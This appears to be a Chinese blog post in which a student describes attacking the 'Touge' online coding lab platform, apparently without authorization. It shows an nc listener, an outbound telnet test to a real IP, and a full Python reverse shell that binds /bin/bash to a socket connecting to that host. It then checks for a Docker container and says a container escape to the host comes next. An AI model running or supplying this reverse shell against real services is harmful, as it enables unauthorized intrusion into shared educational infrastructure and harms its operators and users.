最近被计算机组成原理的实验整得头疼,正好最近又在复习Get Shell 的相关知识,于是萌生了拿实验平台“头歌”练练手的想法。

打开“头歌”实验平台,可以看到在实验窗口存在一个代码执行框,根据课程的不同可以执行不同语言的代码。

测试代码安全性检测

这里选择了一个可以执行Python代码的课程,测试平台是否对代码进行安全性检测。

服务器使用nc工具开启监听模式,使用net-cat工具监听在2333端口:

nc -lvvp 2333

在实验平台使用telnet命令尝试连接服务器:

import os
os.system("telnet 1.13.195.56 2333")

从输出结果可以看到成功连接到了服务器,服务器端的输出也证实了平台对执行的代码并没有做安全性校验:

写入Payload ,反弹Shell

在实验平台写入以下代码,运行后建立socket连接,在服务器端即可获取shell:

import os, socket, subprocess

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("1.13.195.56", 2333))

os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)

p = subprocess.call(["/bin/bash", "-i"])

验证是否在docker容器中

查看/.dockerenv 文件是否存在:

查看/proc/1/cgroup 文件:

发现处于docker容器中,后续还需尝试docker逃逸,以便获取宿主机权限。